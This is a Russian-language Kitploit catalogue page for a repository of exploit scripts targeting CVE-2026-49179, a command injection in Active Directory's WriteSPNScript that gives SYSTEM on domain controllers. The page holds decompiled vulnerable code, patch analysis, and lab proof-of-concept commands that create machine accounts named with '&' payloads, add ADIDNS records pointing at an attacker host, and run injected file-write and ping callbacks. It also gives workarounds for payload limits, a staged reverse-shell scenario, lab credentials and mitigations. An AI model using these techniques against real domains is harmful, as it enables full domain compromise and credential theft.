Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection — Эксплойт-скрипты и proof-of-concept для CVE-2026-49179 — инъекции команд в функции WriteSPNScript Active Directory, позволяющей выполнить RCE с правами SYSTEM на контроллерах домена. | Kitploit
Инструменты/GitHubGitHub/overgrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на Проникновение
GitHubovergrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection

CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection

Эксплойт-скрипты и proof-of-concept для CVE-2026-49179 — инъекции команд в функции WriteSPNScript Active Directory, позволяющей выполнить RCE с правами SYSTEM на контроллерах домена.

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
6 ч 31 мин назадЕщё не проверено

CVE-2026-49179: Инъекция команд в WriteSPNScript в Active Directory

Сводка

ПолеЗначение
CVE IDCVE-2026-49179
CVSS8.8 (AV:N/AC:L/PR:L/UI:N)
CWECWE-77 (Инъекция команд)
Уязвимый компонентntdsai.dll — функция WriteSPNScript
Уязвимые системыWindows Server 2016, 2019, 2022, 2025 (до установки патча)
Вектор атакиАутентифицированный пользователь домена (любой)
ВоздействиеУдалённое выполнение кода с правами SYSTEM на контроллере домена
ОпубликованоАвгуст 2026

Описание уязвимости

Функция WriteSPNScript в ntdsai.dll генерирует команды пакетного скрипта для исправления SPN (Service Principal Name) во время операций обслуживания Active Directory. Функция использует строку формата для построения команд repadmin.exe /writespn, но не выполняет очистку параметра Distinguished Name (DN), что позволяет осуществить инъекцию команд через символ & (разделитель команд cmd.exe).

Уязвимая строка формата:

root@kitploit:~
%ws\repadmin.exe /writespn %ws %ws %ws\r\n

Параметры: SystemDir, WriteOp (ADD/DELETE), DN, SPN_value

DN формируется из Common Name (CN) учётной записи компьютера, который задаётся при создании учётной записи. Когда учётная запись компьютера создаётся с метасимволами оболочки в имени, эти символы без экранирования попадают в генерируемый скрипт. Когда cmd.exe выполняет скрипт, & действует как разделитель команд, выполняя контролируемые злоумышленником команды с правами SYSTEM.

Анализ первопричины

Пробел в валидации: SAMR против LDAP

Active Directory имеет два основных протокола для управления учётными записями компьютеров:

Эта асимметрия валидации является первопричиной:

  • Валидация SPN в LDAP блокирует все опасные символы в значениях SPN (тупик для инъекции через SPN)
  • Создание учётной записи через SAMR допускает метасимволы оболочки в sAMAccountName, который становится CN и попадает в DN
  • DN передаётся в WriteSPNScript без очистки

Уязвимый код (базовый ntdsai.dll)

По адресу 0x1802a98a0 в непатченном бинарном файле:

root@kitploit:~
void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
    STRSAFE_LPSTR pszDest;  // ANSI output buffer
    char local_288[47];     // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
    WCHAR local_258[264];   // System directory

    GetSystemDirectoryW(local_258, 0x104);

    // Calculate buffer size (sum of all string lengths + overhead)
    uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;

    // Allocate and format — NO ESCAPING of DN or SPN parameters
    pszDest = THAlloc_(param_1, 1, uVar4, 1);
    StringCchPrintfA(pszDest, uVar4, local_288, local_258);

    // Write to script file handle
    WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}

StringCchPrintfA форматирует DN непосредственно в выходной буфер. Без экранирования, без заключения в кавычки, без очистки.

Сгенерированный вывод (уязвимый)

Для компьютера с CN=A&ping attacker&B:

root@kitploit:~
C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B

cmd.exe интерпретирует это как пять отдельных инструкций:

Инъецированная команда появляется дважды — один раз из параметра DN и один раз из параметра SPN (который также содержит имя компьютера).

Анализ патча

Патченная WriteSPNScript (размер: 1477 → 2005 байт) вносит три изменения:

1. Добавлены функции экранирования

Две новые функции очистки, применяемые к обоим параметрам DN и SPN:

  • EscapeForPowerShellSingleQuote() — экранирует ' для предотвращения выхода из строк в одинарных кавычках
  • EscapeForNativeArgvBackslashesBeforeDoubleQuote() — экранирует последовательности \ перед " для нативного разбора argv

2. Изменение формата вывода

3. Удалён флаг функции

В более ранней ревизии был флаг функции Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled, управляющий исправлением. В финальном патче этот флаг был удалён — исправление всегда активно и не может быть отключено.

Доказательство концепции

Тестовая среда

Шаг 1: Подтверждение, что SAMR принимает метасимволы оболочки

С помощью spn_probe3.py протестировано, какие символы SAMR принимает в именах учётных записей компьютеров, а какие LDAP принимает в значениях SPN:

root@kitploit:~
SAMR Machine Name Character Test (as samwell.tarly):
  [+] ACCEPTED  '   (single quote)     -> INJECT'A$  RID: 1123
  [+] ACCEPTED  `   (backtick)         -> INJECT`A$  RID: 1124
  [+] ACCEPTED  &   (ampersand)        -> INJECT&A$  RID: 1125
  [+] ACCEPTED  $   (dollar sign)      -> INJECT$A$  RID: 1126
  [+] ACCEPTED  (   (left paren)       -> INJECT(A$  RID: 1127
  [+] ACCEPTED  )   (right paren)      -> INJECT)A$  RID: 1128
  [+] ACCEPTED  !   (exclamation)      -> INJECT!A$  RID: 1129
  [+] ACCEPTED  ' ' (space)            -> INJECT A$  RID: 1130

LDAP SPN Validation (all 28 shell metacharacters tested):
  [-] ALL REJECTED with constraintViolation (DSID-033E109C)

Ключевая находка: SAMR допускает все 8 протестированных метасимволов оболочки. LDAP блокирует их все. Вектор инъекции — через имена компьютеров, созданные через SAMR, а не через значения SPN.

Шаг 2: Создание инъекционного компьютера как обычный пользователь домена

root@kitploit:~
$ python3 spn_prl_exploit.py 192.168.56.11 \
    -d north.sevenkingdoms.local \
    -u samwell.tarly -p Heartsbane --payload benign

[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137

Также создано от имени samwell.tarly:

root@kitploit:~
[+] Created C&ping a&D$, RID: 1138

Подтверждено: обычный пользователь домена (PR:L) может создавать учётные записи компьютеров с инъекцией команд & в имени.

Шаг 3: Добавление DNS-записи для обратного вызова (как обычный пользователь)

Обычные пользователи домена могут добавлять записи ADIDNS. Использован dnstool.py для создания короткого имени хоста, указывающего на атакующего:

root@kitploit:~
python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
    -r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11

Проверено разрешение на контроллере домена:

root@kitploit:~
*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name:    a.north.sevenkingdoms.local
Address:  192.168.14.238

Шаг 4: Проверка инъекции команд на контроллере домена

Симуляция точного вывода, который сгенерировала бы WriteSPNScript, выполненная на контроллере домена:

Доказательство записи в файл:

root@kitploit:~
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&echo INJECTED > C:\Windows\Temp\proof.txt&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"

*Evil-WinRM* PS> type C:\Windows\Temp\proof.txt
INJECTED

Доказательство ICMP-обратного вызова:

root@kitploit:~
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&ping -n 3 192.168.14.238&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"

Pinging 192.168.14.238 with 32 bytes of data:
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127

tcpdump на атакующем подтвердил поступление ICMP:

root@kitploit:~
02:36:10.815690 eth1 In  IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 10
02:36:10.815724 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 10
02:36:11.820112 eth1 In  IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 11
02:36:11.820127 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 11
02:36:12.834677 eth1 In  IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 12
02:36:12.834693 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 12

Как запись в файл, так и ICMP-обратный вызов подтверждают инъекцию команд через DN.

Что было доказано

Препятствия и ограничения

1. Ограничение длины sAMAccountName (~15 символов)

sAMAccountName учётной записи компьютера ограничен примерно 15 символами до завершающего $ (ограничение совместимости с NetBIOS). Это серьёзно ограничивает сложность полезной нагрузки.

Воздействие: Невозможно встроить IP-адреса, длинные команды или сложные полезные нагрузки непосредственно в имя компьютера.

Обходной путь: Использовать короткие DNS-имена хостов для обратных вызовов (например, односимвольное a, разрешающееся в IP атакующего). Полезные нагрузки должны быть краткими:

  • A&ping a&B (11 символов) — ICMP-обратный вызов
  • A&echo X&B (11 символов) — доказательство выполнения
  • A&calc&B (8 символов) — GUI-доказательство на контроллере домена
  • A&whoami&B (11 символов) — подтверждение контекста

2. SAMR отклоняет определённые символы

Хотя SAMR принимает метасимволы оболочки (& ' \ $ ( ) ! пробел`), он отклоняет символы, необходимые для путей к файлам и сетевых адресов:

Воздействие: Невозможно использовать IP-адреса, пути к файлам или URL непосредственно в полезных нагрузках.

Обходной путь:

  • Создать короткие записи ADIDNS, указывающие на атакующего (обычные пользователи домена могут это делать)
  • Использовать переменные среды (%TEMP%, %SYSTEMROOT%) — хотя принятие % не подтверждено
  • Использовать адресацию на основе имён хостов вместо IP-адресов

3. Триггер WriteSPNScript не является немедленным

WriteSPNScript генерирует файл скрипта через WriteFile — он не выполняет команды напрямую. Сгенерированный скрипт должен быть выполнен последующим процессом. Функция вызывается во время:

  • dcdiag /fix — администратор запускает инструмент диагностики/восстановления
  • Репликация AD — конфликты SPN обрабатываются между контроллерами домена
  • FixupSPNsOnComputerObject — исправление SPN при изменении атрибутов
  • Инструменты аудита SPN — сторонние или встроенные скрипты обслуживания

Воздействие: Инъекция подготавливается немедленно (создание компьютера), но выполнение зависит от события-триггера на контроллере домена. В среде с одним контроллером домена без партнёра по репликации триггер может потребовать активности администратора (например, запуска dcdiag /fix).

В производственных средах: Развёртывания с несколькими контроллерами домена имеют регулярные циклы репликации. Несоответствия SPN, обнаруженные во время репликации, автоматически запустят WriteSPNScript в рамках разрешения конфликтов.

4. Квота учётных записей компьютеров

По умолчанию ms-DS-MachineAccountQuota составляет 10 на пользователя. Каждая попытка инъекции расходует один слот. Учётные записи компьютеров со специальными символами в именах сложно удалить стандартными инструментами.

Воздействие: Ограниченное количество попыток на учётную запись пользователя. Неудачные попытки расходуют квоту.

Обходной путь: Каждый пользователь домена получает свою квоту. В средах с множеством пользователей злоумышленник может использовать несколько учётных записей.

5. Сложность очистки

Учётные записи компьютеров, созданные с &, $, (, ) в именах, не могут быть легко удалены через стандартные инструменты управления AD (ADUC, PowerShell Remove-ADComputer), поскольку специальные символы мешают разбору команд. Это оставляет криминалистические артефакты.

6. Подход с переименованием требует прав администратора

Альтернативный путь эксплуатации — создать компьютер с чистым именем, установить допустимые SPN, затем переименовать для инъекции DN — был протестирован, но операция LDAP ModifyDN (переименование) требует повышенных привилегий:

root@kitploit:~
samwell.tarly: [-] Rename failed: insufficientAccessRights
robb.stark:    [+] Rename succeeded (domain admin)

Воздействие: Стратегия переименования нежизнеспособна для PR:L. Прямое создание через SAMR с инъекционными символами — это путь для PR:L.

Воздействие

Цепочка повышения привилегий

  1. Обычный пользователь домена создаёт учётную запись компьютера с &<команда>& в имени через SAMR
  2. Операция обслуживания AD запускает WriteSPNScript, которая генерирует неэкранированную команду repadmin.exe
  3. Инъецированная команда выполняется с правами NT AUTHORITY\SYSTEM на контроллере домена
  4. С правами SYSTEM на контроллере домена злоумышленник получает полную компрометацию домена:
    • Дамп всех учётных данных (ntds.dit / DCSync)
    • Создание учётных записей администраторов домена
    • Изменение групповой политики для закрепления
    • Компрометация всего леса AD

Реалистичный сценарий атаки

root@kitploit:~
День 1: Злоумышленник (любой пользователь домена) запускает эксплойт
  - Создаёт компьютер "A&ping a&B$" через SAMR
  - Добавляет DNS-запись "a", указывающую на его C2-сервер
  - Инъекция подготовлена — злоумышленник ждёт

День N: Администратор запускает dcdiag /fix (рутинное обслуживание)
  - WriteSPNScript обрабатывает вредоносную учётную запись компьютера
  - Генерирует команду repadmin с неэкранированным DN
  - cmd.exe выполняет "ping a" с правами SYSTEM → подтверждает обратный вызов
  
День N: Злоумышленник обновляет полезную нагрузку
  - Создаёт новый компьютер с полезной нагрузкой обратной оболочки
  - Ждёт следующего цикла обслуживания или события репликации
  - Оболочка SYSTEM на контроллере домена → полная компрометация домена

Устранение

  1. Примените обновление безопасности из августовского Patch Tuesday Microsoft 2026 года

  2. Проведите аудит учётных записей компьютеров на наличие необычных символов:

    root@kitploit:~
    Get-ADComputer -Filter * -Properties sAMAccountName |
      Where-Object { $_.sAMAccountName -match '[&\x27`$()! ]' } |
      Select-Object Name, sAMAccountName, Created, DistinguishedName
    
  3. Установите ms-DS-MachineAccountQuota в 0, чтобы запретить обычным пользователям создавать учётные записи компьютеров:

    root@kitploit:~
    Set-ADDomain -Identity "domain.local" -Replace @{"ms-DS-MachineAccountQuota"=0}
    
  4. Отслеживайте Event ID 4741 (создание учётной записи компьютера) на наличие необычных символов в именах учётных записей

  5. Ограничьте создание записей ADIDNS, если они не нужны обычным пользователям

Файлы

Ссылки

  • Microsoft Security Advisory — CVE-2026-49179
  • MITRE CVE Entry
  • CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Скачать инструмент
ПротоколВалидация символовМетасимволы оболочки
LDAP (значения SPN)Строгая — CONSTRAINT_ATT_TYPE отклоняет & ; | ' \ $ ( )`Блокируются
SAMR (имена компьютеров)Слабая — проверяет базовый формат имени учётной записиРазрешены: & ' \ $ ( ) ! пробел`
#ИнструкцияРезультат
1C:\...\repadmin.exe /writespn ADD CN=AОшибка (усечённый DN)
2ping attackerИНЪЕКЦИЯ — выполняется с правами SYSTEM
3B,CN=Computers,DC=... HOST/AОшибка (не является допустимой командой)
4ping attackerИНЪЕКЦИЯ — выполняется снова (из параметра SPN)
5BОшибка (не является допустимой командой)
Базовая (уязвимая)Патченная
ФункцияStringCchPrintfA (ANSI)StringCchPrintfW (Wide/Unicode)
Заключение в кавычкиОтсутствуетПараметры в одинарных кавычках
Выводrepadmin /writespn ADD DN SPNrepadmin /writespn ADD 'escaped_DN' 'escaped_SPN'
ХостРольIPОС
WINTERFELLКонтроллер домена192.168.56.11Windows Server 2019
AttackerKali Linux192.168.14.238Kali 2026
Доменnorth.sevenkingdoms.local
Пользователь с низкими привилегиямиsamwell.tarly / HeartsbaneОбычный пользователь домена
Администраторrobb.stark / sexywolfyАдминистратор домена
ШагДействиеСубъектРезультат
1SAMR принимает & в именах компьютеровsamwell.tarly (PR:L)RID 1125, 1137, 1138
2LDAP отклоняет & в значениях SPNsamwell.tarly100% отклонение
3Создание DNS-записи для обратного вызоваsamwell.tarly (PR:L)a → 192.168.14.238
4Учётная запись компьютера с инъекционным CNsamwell.tarly (PR:L)A&echo POC&B$, C&ping a&D$
5Запись в файл через инъекцию cmdDC (симуляция WriteSPNScript)proof.txt = "INJECTED"
6ICMP-обратный вызов через инъекцию cmdDC (симуляция WriteSPNScript)Получено 3 ping-ответа
ОтклоненоЗаблокированный вариант использования
. (точка)IP-адреса (192.168.1.1), FQDN
\ (обратный слэш)Пути Windows (C:\Windows\...)
/ (прямой слэш)Пути URL, пути Unix
: (двоеточие)Буквы дисков (C:), номера портов
" (двойная кавычка)Заключение в кавычки/экранирование в полезных нагрузках
< > | ; , = + * ?Перенаправление, конвейеры, подстановочные знаки
ФайлОписание
poc/spn_probe.pyТестирует все 28 метасимволов оболочки в значениях SPN LDAP
poc/spn_probe2.pyТестирует обход через Unicode fullwidth/гомоглифы + транспорт DRSUAPI
poc/spn_probe3.pyТестирует принятие символов SAMR vs LDAP vs DRSUAPI
poc/spn_exploit.pyЭксплойт через стратегию переименования (создание → SPN → переименование → инъекция)
poc/spn_prl_exploit.pyЭксплойт PR:L (прямое создание через SAMR + опциональный триггер dNSHostName)
nspi_diff_analysis.txtПолный бинарный diff ntdsai.dll (базовая vs патченная)